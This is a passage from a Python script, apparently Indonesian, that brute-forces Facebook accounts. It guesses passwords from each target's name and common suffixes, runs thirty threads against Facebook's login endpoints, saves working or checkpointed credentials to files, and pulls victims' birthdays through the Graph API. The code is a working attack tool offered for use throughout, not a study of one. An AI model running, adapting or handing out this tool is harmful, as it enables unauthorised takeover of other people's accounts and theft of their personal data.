ThreadPoolExecutor(max_workers=30) as coeg: 724 | print(f"{B} | ") 725 | print(f"{B} | ") 726 | print(f"{P}[•] Contoh password : {B}sayang,anjing,kontol") 727 | print(f"{B} | ") 728 | asu = input(f"{P}[•] Buat sandi : {B} ").split(",") 729 | if len(asu) =="": 730 | print(f"{B} | ") 731 | print(f"{P}[•]{M} Sandi tidak boleh kosong anjink");exit() 732 | started() 733 | for user in id: 734 | uid, name = user.split("<=>") 735 | coeg.submit(mbasic, uid, asu) 736 | exit() 737 | elif ter in ["d","D"]: 738 | with ThreadPoolExecutor(max_workers=30) as coeg: 739 | started() 740 | for user in id: 741 | uid, name = user.split("<=>") 742 | frist=name.split(" ") 743 | if len(frist)>=6: 744 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 745 | elif len(frist)<=2: 746 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 747 | elif len(frist)<=3: 748 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 749 | else: 750 | jeeck = [ "bissmilah", "anjing", "indonesia", "sayangkamu" ] 751 | coeg.submit(mbasic, uid, jeeck) 752 | exit() 753 | else:print(f"{key}");exit() 754 | except (KeyError,IOError):print(f"{_key}");exit() 755 | 756 | else: 757 | print(f"{B} | ") 758 | print(f"{B} | ") 759 | print(f"{P}[•] Crack menggunakan pasword manual/defaults {B}M/D") 760 | print(f"{B} | ") 761 | ter =input(f"{P}[•] Input : {B}") 762 | if ter in ["m","M"]: 763 | with ThreadPoolExecutor(max_workers=30) as coeg: 764 | print(f"{B} | ") 765 | print(f"{B} | ") 766 | print(f"{P}[•] Contoh password {B}Anjink,kontol,sayang") 767 | print(f"{B} | ") 768 | asu = input(f"{P}[•] Buat sandi : {B}").split(",") 769 | if len(asu) =="": 770 | print(f"{B} | ") 771 | print(f"{B} | ") 772 | print(f"{P}[•]{M} Sandi tidak boleh kosong");exit() 773 | started() 774 | for user in id: 775 | uid, name = user.split("<=>") 776 | coeg.submit(mbasicc, uid, asu) 777 | exit() 778 | elif ter in ["d","D"]: 779 | with ThreadPoolExecutor(max_workers=30) as coeg: 780 | started() 781 | for user in id: 782 | uid, name = user.split("<=>") 783 | frist=name.split(" ") 784 | if len(frist)>=6: 785 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 786 | elif len(frist)<=2: 787 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 788 | elif len(frist)<=3: 789 | jeeck = [ name, frist[0], frist[0]+"123", frist[0]+"12345", frist[0]+"123456" ] 790 | else: 791 | jeeck = [ "bissmilah", "anjing", "indonesia", "sayangkamu" ] 792 | coeg.submit(mbasicc, uid, jeeck) 793 | exit() 794 | 795 | def kone(): 796 | print(f"{B} | ") 797 | print(f"{B} | ") 798 | print(f"{P}[1] B-api >>>> {B}Fast") 799 | print(f"{P}[2] Mbasic >>>> {B}Low") 800 | print(f"{P}[3] Mobile >>>> {B}Very low") 801 | 802 | def started(): 803 | print(f"{B} | ") 804 | print(f"{B} | ") 805 | print(f"{P}[•]{B} Results {I}ok {B}tersimpan di {I}ok/{tanggal}") 806 | print(f"{P}[•]{B} Results {K}cp {B}tersimpan di {K}cp/{tanggal}") 807 | print(f"{B} | ") 808 | print(f"{P}[•] Mode pesawat 5 detik jika tidak ada hasil") 809 | print(f"{B} | {P}") 810 | 811 | def api(uid, jeeck): 812 | try: 813 | ua = open("ua", "r").read() 814 | except IOError: 815 | ua = "nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+" 816 | global ok, cp, loop, token 817 | # sys.stdout.write("\r\x1b[0;37m [Crack]\x1b[0;37m %s/%s \x1b[0;37mOK : %s \x1b[0;37mCP : %s\x1b[0;37m"%(loop,len(id),len(ok),len(cp)));sys.stdout.flush() 818 | sys.stdout.write(f"\r{P}[•] >>>>>> {B} {loop}/{len(id)} {I}OK : {B}{len(ok)} {K}CP : {B}{len(cp)}");sys.stdout.flush() 819 | for pw in jeeck: 820 | pw = pw.lower() 821 | headers_ = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} 822 | ses = requests.Session() 823 | send = ses.get("https://b-api.facebook.com/method/auth.login?format=json&email="+str(uid)+"&password="+str(pw)+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20¤tly_logged_inlololid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=headers_) 824 | if "session_key" in send.text and "EAAA" in send.text: 825 | print(f"\r{B} |----> {I}{uid}•{pw}") 826 | ok.append("%s|%s"%(uid, pw)) 827 | open("OK/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 828 | break 829 | elif "www.facebook.com" in send.json()["error_msg"]: 830 | try: 831 | token = open("masuk.txt", "r").read() 832 | ttl = ses.get("https://graph.facebook.com/%s?access_token=%s"%(uid, token)).json()["birthday"] 833 | month, day, year = ttl.split("/") 834 | month = bulan[month] 835 | print(f"\r{B} |----> {K}{uid}•{pw}•{day} {month} {year}") 836 | cp.append("%s|%s"%(uid, pw)) 837 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s|%s %s %s\n"%(uid, pw, day, month, year)) 838 | break 839 | except (KeyError, IOError): 840 | day = (" ") 841 | month = (" ") 842 | year = (" ") 843 | except:pass 844 | cek_log(uid,pw,ua) 845 | print(f"\r{B} |----> {K}{uid}•{pw}") 846 | cp.append("%s|%s"%(uid, pw)) 847 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 848 | break 849 | else: 850 | continue 851 | 852 | loop += 1 853 | 854 | def apiiii(uid, jeeck): 855 | try: 856 | ua = open("ua", "r").read() 857 | except IOError: 858 | ua = "nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+" 859 | global ok, cp, loop, token 860 | 861 | sys.stdout.write(f"\r{P}[•] >>>>>> {B} {loop}/{len(id)} {I}OK : {B}{len(ok)} {K}CP : {B}{len(cp)}");sys.stdout.flush() 862 | for pw in jeeck: 863 | pw = pw.lower() 864 | headers_ = {"x-fb-connection-bandwidth": str(random.randint(20000000.0, 30000000.0)), "x-fb-sim-hni": str(random.randint(20000, 40000)), "x-fb-net-hni": str(random.randint(20000, 40000)), "x-fb-connection-quality": "EXCELLENT", "x-fb-connection-type": "cell.CTRadioAccessTechnologyHSDPA", "user-agent": ua, "content-type": "application/x-www-form-urlencoded", "x-fb-http-engine": "Liger"} 865 | ses = requests.Session() 866 | send = ses.get("https://b-api.facebook.com/method/auth.login?format=json&email="+str(uid)+"&password="+str(pw)+"&credentials_type=device_based_login_password&generate_session_cookies=1&error_detail_type=button_with_disabled&source=device_based_login&meta_inf_fbmeta=%20¤tly_logged_inlololid=0&method=GET&locale=en_US&client_country_code=US&fb_api_caller_class=com.facebook.fos.headersv2.fb4aorca.HeadersV2ConfigFetchRequestHandler&access_token=350685531728|62f8ce9f74b12f84c123cc23437a4a32&fb_api_req_friendly_name=authenticate&cpl=true", headers=headers_) 867 | if "session_key" in send.text and "EAAA" in send.text: 868 | print(f"\r{B} |----> {I}{uid}•{pw}") 869 | ok.append("%s|%s"%(uid, pw)) 870 | open("OK/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 871 | break 872 | elif "www.facebook.com" in send.json()["error_msg"]: 873 | try: 874 | token = open("masuk.txt", "r").read() 875 | ttl = ses.get("https://graph.facebook.com/%s?access_token=%s"%(uid, token)).json()["birthday"] 876 | month, day, year = ttl.split("/") 877 | month = bulan[month] 878 | print(f"\r{B} |----> {K}{uid}•{pw}•{day} {mont} {year}") 879 | cp.append("%s|%s"%(uid, pw)) 880 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s|%s %s %s\n"%(uid, pw, day, month, year)) 881 | break 882 | except (KeyError, IOError): 883 | day = (" ") 884 | month = (" ") 885 | year = (" ") 886 | except:pass 887 | print(f"\r{B} |----> {K}{uid}•{pw}") 888 | cp.append("%s|%s"%(uid, pw)) 889 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 890 | break 891 | else: 892 | continue 893 | 894 | loop += 1 895 | 896 | def mbasic(uid, jeeck): 897 | try: 898 | ua = open("ua", "r").read() 899 | except IOError: 900 | ua = "nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+" 901 | global ok, cp, loop, token 902 | sys.stdout.write(f"\r{P}[•] >>>>>> {B} {loop}/{len(id)} {I}OK : {B}{len(ok)} {K}CP : {B}{len(cp)}");sys.stdout.flush() 903 | for pw in jeeck: 904 | jck_gtg = {} 905 | pw = pw.lower() 906 | ses = requests.Session() 907 | ses.headers.update({"origin": "https://mbasic.facebook.com", "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7", "accept-encoding": "gzip, deflate", "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "user-agent": ua, "Host": "mbasic.facebook.com", "referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8", "cache-control": "max-age=0", "upgrade-insecure-requests": "1", "content-type": "application/x-www-form-urlencoded"}) 908 | p = ses.get("https://mbasic.facebook.com/login/?next&ref=dbl&refid=8").text 909 | b = parser(p,"html.parser") 910 | bl = ["lsd","jazoest","m_ts","li","try_number","unrecognized_tries","login"] 911 | for i in b("input"): 912 | try: 913 | if i.get("name") in bl:jck_gtg.update({i.get("name"):i.get("value")}) 914 | else:continue 915 | except:pass 916 | jck_gtg.update({"email": uid,"pass": pw,"prefill_contact_point": "","prefill_source": "","prefill_type": "","first_prefill_source": "","first_prefill_type": "","had_cp_prefilled": "false","had_password_prefilled": "false","is_smart_lock": "false","_fb_noscript": "true"}) 917 | deku = ses.post("https://mbasic.facebook.com/login/device-based/regular/login/?refsrc=https%3A%2F%2Fmbasic.facebook.com%2F&lwv=100&refid=8",data=jck_gtg) 918 | if "c_user" in ses.cookies.get_dict().keys(): 919 | kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ]).replace("noscript=1;", "") 920 | print(f"\r{B} |----> {I}{uid}•{pw}") 921 | ok.append("%s|%s"%(uid, pw)) 922 | open("OK/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 923 | break 924 | elif "checkpoint" in ses.cookies.get_dict().keys(): 925 | try: 926 | token = open("masuk.txt", "r").read() 927 | with requests.Session() as ses: 928 | ttl = ses.get("https://graph.facebook.com/%s?access_token=%s"%(uid, token)).json()["birthday"] 929 | month, day, year = ttl.split("/") 930 | month = bulan_ttl[month] 931 | print(f"\r{B} |----> {K}{uid}•{pw}•{day} {month} {year}") 932 | cp.append("%s|%s"%(uid, pw)) 933 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s|%s %s %s\n"%(uid, pw, day, month, year)) 934 | break 935 | except (KeyError, IOError): 936 | day = (" ") 937 | month = (" ") 938 | year = (" ") 939 | except:pass 940 | cek_log(uid,pw,ua) 941 | print(f"\r{B} |----> {K}{uid}•{pw}") 942 | cp.append("%s|%s"%(uid, pw)) 943 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 944 | break 945 | else: 946 | continue 947 | 948 | loop += 1 949 | 950 | def mbasicc(uid, jeeck): 951 | try: 952 | ua = open("ua", "r").read() 953 | except IOError: 954 | ua = "nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+" 955 | global ok, cp, loop, token 956 | sys.stdout.write(f"\r{P}[•] >>>>>> {B} {loop}/{len(id)} {I}OK : {B}{len(ok)} {K}CP : {B}{len(cp)}");sys.stdout.flush() 957 | for pw in jeeck: 958 | jck_gtg = {} 959 | pw = pw.lower() 960 | ses = requests.Session() 961 | ses.headers.update({"origin": "https://mbasic.facebook.com", "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7", "accept-encoding": "gzip, deflate", "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "user-agent": ua, "Host": "mbasic.facebook.com", "referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8", "cache-control": "max-age=0", "upgrade-insecure-requests": "1", "content-type": "application/x-www-form-urlencoded"}) 962 | p = ses.get("https://mbasic.facebook.com/login/?next&ref=dbl&refid=8").text 963 | b = parser(p,"html.parser") 964 | bl = ["lsd","jazoest","m_ts","li","try_number","unrecognized_tries","login"] 965 | for i in b("input"): 966 | try: 967 | if i.get("name") in bl:jck_gtg.update({i.get("name"):i.get("value")}) 968 | else:continue 969 | except:pass 970 | jck_gtg.update({"email": uid,"pass": pw,"prefill_contact_point": "","prefill_source": "","prefill_type": "","first_prefill_source": "","first_prefill_type": "","had_cp_prefilled": "false","had_password_prefilled": "false","is_smart_lock": "false","_fb_noscript": "true"}) 971 | deku = ses.post("https://mbasic.facebook.com/login/device-based/regular/login/?refsrc=https%3A%2F%2Fmbasic.facebook.com%2F&lwv=100&refid=8",data=jck_gtg) 972 | if "c_user" in ses.cookies.get_dict().keys(): 973 | kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ]).replace("noscript=1;", "") 974 | print(f"\r{B} |----> {I}{uid}•{pw}") 975 | ok.append("%s|%s"%(uid, pw)) 976 | open("OK/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 977 | break 978 | elif "checkpoint" in ses.cookies.get_dict().keys(): 979 | try: 980 | token = open("masuk.txt", "r").read() 981 | with requests.Session() as ses: 982 | ttl = ses.get("https://graph.facebook.com/%s?access_token=%s"%(uid, token)).json()["birthday"] 983 | month, day, year = ttl.split("/") 984 | month = bulan_ttl[month] 985 | print(f"\r{B} |----> {K}{uid}•{pw}•{day} {month} {year}") 986 | cp.append("%s|%s"%(uid, pw)) 987 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s|%s %s %s\n"%(uid, pw, day, month, year)) 988 | break 989 | except (KeyError, IOError): 990 | day = (" ") 991 | month = (" ") 992 | year = (" ") 993 | except:pass 994 | print(f"\r{B} |----> {K}{uid}•{pw}") 995 | cp.append("%s|%s"%(uid, pw)) 996 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 997 | break 998 | else: 999 | continue 1000 | 1001 | loop += 1 1002 | 1003 | def mobil(uid, jeeck): 1004 | try: 1005 | ua = open("ua", "r").read() 1006 | except IOError: 1007 | ua = "nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+" 1008 | global ok, cp, loop, token 1009 | sys.stdout.write(f"\r{P}[•] >>>>>> {B} {loop}/{len(id)} {I}OK : {B}{len(ok)} {K}CP : {B}{len(cp)}");sys.stdout.flush() 1010 | for pw in jeeck: 1011 | jck_gtg = {} 1012 | pw = pw.lower() 1013 | ses = requests.Session() 1014 | ses.headers.update({"origin": "https://mobile.facebook.com", "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7", "accept-encoding": "gzip, deflate", "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "user-agent": ua, "Host": "mbasic.facebook.com", "referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8", "cache-control": "max-age=0", "upgrade-insecure-requests": "1", "content-type": "application/x-www-form-urlencoded"}) 1015 | p = ses.get("https://mobile.facebook.com/login/?next&ref=dbl&refid=8").text 1016 | b = parser(p,"html.parser") 1017 | bl = ["lsd","jazoest","m_ts","li","try_number","unrecognized_tries","login"] 1018 | for i in b("input"): 1019 | try: 1020 | if i.get("name") in bl:jck_gtg.update({i.get("name"):i.get("value")}) 1021 | else:continue 1022 | except:pass 1023 | jck_gtg.update({"email": uid,"pass": pw,"prefill_contact_point": "","prefill_source": "","prefill_type": "","first_prefill_source": "","first_prefill_type": "","had_cp_prefilled": "false","had_password_prefilled": "false","is_smart_lock": "false","_fb_noscript": "true"}) 1024 | deku = ses.post("https://mobile.facebook.com/login/device-based/regular/login/?refsrc=https%3A%2F%2Fmbasic.facebook.com%2F&lwv=100&refid=8",data=jck_gtg) 1025 | if "c_user" in ses.cookies.get_dict().keys(): 1026 | kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ]).replace("noscript=1;", "") 1027 | print(f"\r{B} |----> {I}{uid}•{pw}") 1028 | ok.append("%s|%s"%(uid, pw)) 1029 | open("OK/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 1030 | break 1031 | elif "checkpoint" in ses.cookies.get_dict().keys(): 1032 | try: 1033 | token = open("masuk.txt", "r").read() 1034 | with requests.Session() as ses: 1035 | ttl = ses.get("https://graph.facebook.com/%s?access_token=%s"%(uid, token)).json()["birthday"] 1036 | month, day, year = ttl.split("/") 1037 | month = bulan_ttl[month] 1038 | print(f"\r{B} |----> {K}{uid}•{pw}•{day} {month} {year}") 1039 | cp.append("%s|%s"%(uid, pw)) 1040 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s|%s %s %s\n"%(uid, pw, day, month, year)) 1041 | break 1042 | except (KeyError, IOError): 1043 | day = (" ") 1044 | month = (" ") 1045 | year = (" ") 1046 | except:pass 1047 | cek_log(uid,pw,ua) 1048 | print(f"\r{B} |----> {K}{uid}•{pw}") 1049 | cp.append("%s|%s"%(uid, pw)) 1050 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 1051 | break 1052 | else: 1053 | continue 1054 | 1055 | loop += 1 1056 | 1057 | def mobill(uid, jeeck): 1058 | try: 1059 | ua = open("ua", "r").read() 1060 | except IOError: 1061 | ua = "nokiac3-00/5.0 (07.20) profile/midp-2.1 configuration/cldc-1.1 mozilla/5.0 applewebkit/420+ (khtml, like gecko) safari/420+" 1062 | global ok, cp, loop, token 1063 | sys.stdout.write(f"\r{P}[•] >>>>>> {B} {loop}/{len(id)} {I}OK : {B}{len(ok)} {K}CP : {B}{len(cp)}");sys.stdout.flush() 1064 | for pw in jeeck: 1065 | jck_gtg = {} 1066 | pw = pw.lower() 1067 | ses = requests.Session() 1068 | ses.headers.update({"origin": "https://mbasic.facebook.com", "accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7", "accept-encoding": "gzip, deflate", "accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8", "user-agent": ua, "Host": "mbasic.facebook.com", "referer": "https://mbasic.facebook.com/login/?next&ref=dbl&fl&refid=8", "cache-control": "max-age=0", "upgrade-insecure-requests": "1", "content-type": "application/x-www-form-urlencoded"}) 1069 | p = ses.get("https://mobile.facebook.com/login/?next&ref=dbl&refid=8").text 1070 | b = parser(p,"html.parser") 1071 | bl = ["lsd","jazoest","m_ts","li","try_number","unrecognized_tries","login"] 1072 | for i in b("input"): 1073 | try: 1074 | if i.get("name") in bl:jck_gtg.update({i.get("name"):i.get("value")}) 1075 | else:continue 1076 | except:pass 1077 | jck_gtg.update({"email": uid,"pass": pw,"prefill_contact_point": "","prefill_source": "","prefill_type": "","first_prefill_source": "","first_prefill_type": "","had_cp_prefilled": "false","had_password_prefilled": "false","is_smart_lock": "false","_fb_noscript": "true"}) 1078 | deku = ses.post("https://mobile.facebook.com/login/device-based/regular/login/?refsrc=https%3A%2F%2Fmbasic.facebook.com%2F&lwv=100&refid=8",data=jck_gtg) 1079 | if "c_user" in ses.cookies.get_dict().keys(): 1080 | kuki = (";").join([ "%s=%s" % (key, value) for key, value in ses.cookies.get_dict().items() ]).replace("noscript=1;", "") 1081 | print(f"\r{B} |----> {I}{uid}•{pw}") 1082 | ok.append("%s|%s"%(uid, pw)) 1083 | open("OK/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 1084 | break 1085 | elif "checkpoint" in ses.cookies.get_dict().keys(): 1086 | try: 1087 | token = open("masuk.txt", "r").read() 1088 | with requests.Session() as ses: 1089 | ttl = ses.get("https://graph.facebook.com/%s?access_token=%s"%(uid, token)).json()["birthday"] 1090 | month, day, year = ttl.split("/") 1091 | month = bulan_ttl[month] 1092 | print(f"\r{B} |----> {K}{uid}•{pw}•{day} {month} {year}") 1093 | cp.append("%s|%s"%(uid, pw)) 1094 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s|%s %s %s\n"%(uid, pw, day, month, year)) 1095 | break 1096 | except (KeyError, IOError): 1097 | day = (" ") 1098 | month = (" ") 1099 | year = (" ") 1100 | except:pass 1101 | print(f"\r{B} |----> {K}{uid}•{pw}") 1102 | cp.append("%s|%s"%(uid, pw)) 1103 | open("CP/%s.txt"%(tanggal),"a").write("%s|%s\n"%(uid, pw)) 1104 | break 1105 | else: 1106 | continue 1107 | 1108 | loop += 1 1109 | 1110 | def cek_log(uid,pw,ua): 1111 | mb = ("https://mbasic.facebook.com") 1112 | ses = requests.Session() 1113 | option = [] 1114 | ses.headers.update({"Host": "mbasic.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": mb,"content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": mb+"/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"}) 1115 | data = {} 1116 | ged = parser(ses.get(mb+"/login/?next&ref=dbl&fl&refid=8", headers={"user-agent":ua}).text, "html.parser") 1117 | fm = ged.find("form",{"method":"post"}) 1118 | list = ["lsd","jazoest","m_ts","li","try_number","unrecognized_tries","login","bi_xrwh"] 1119 | for i in fm.find_all("input"): 1120 | if i.get("name") in list: 1121 | data.update({i.get("name"):i.get("value")}) 1122 | else: 1123 | continue 1124 | data.update({"email":uid,"pass":pw}) 1125 | run = parser(ses.post(mb+fm.get("action"), data=data, allow_redirects=True).text, "html.parser") 1126 | if "checkpoint" in ses.cookies: 1127 | form = run.find("form") 1128 | dtsg = form.find("input",{"name":"fb_dtsg"})["value"] 1129 | jzst = form.find("input",{"name":"jazoest"})["value"] 1130 | nh = form.find("input",{"name":"nh"})["value"] 1131 | dataD = {"fb_dtsg": dtsg,"fb_dtsg": dtsg,"jazoest": jzst,"jazoest": jzst,"checkpoint_data":"","submit[Continue]":"Lanjutkan","nh": nh} 1132 | tempek = parser(ses.post(mb+form["action"], data=dataD).text, "html.parser") 1133 | ngew = [yy.text for yy in tempek.find_all("option")] 1134 | print(f"\r{P}[•]{K}-----> {B}{uid}•{pw}") 1135 | for opt in range(len(ngew)): 1136 | jalan(f"{U}[{B}{str(opt+1)}{U}]{B}>>>>>{U}[{B}{ngew[opt]}{U}") 1137 | if "0" in str(len(ngew)): 1138 | jalan(f"{P}[•]{I} Hore akunya tab yesss, silahkan di login ") 1139 | elif "login_error" in str(run): 1140 | jalan(f"\r{P}[•]{K}>>>>>>----> {B}{uid}•{pw}") 1141 | else: 1142 | jalan(f"\r{P}[•]{K}>>>>>>----> {B}{uid}•{pw}") 1143 | 1144 | 1145 | 1146 | 1147 | 1148 | def folder(): 1149 | try: 1150 | os.mkdir("CP") 1151 | except:pass 1152 | try: 1153 | os.mkdir("OK") 1154 | except:pass 1155 | 1156 | if __name__=="__main__": 1157 | os.system("git pull") 1158 | folder() 1159 | menu() 1160 | --------------------------------------------------------------------------------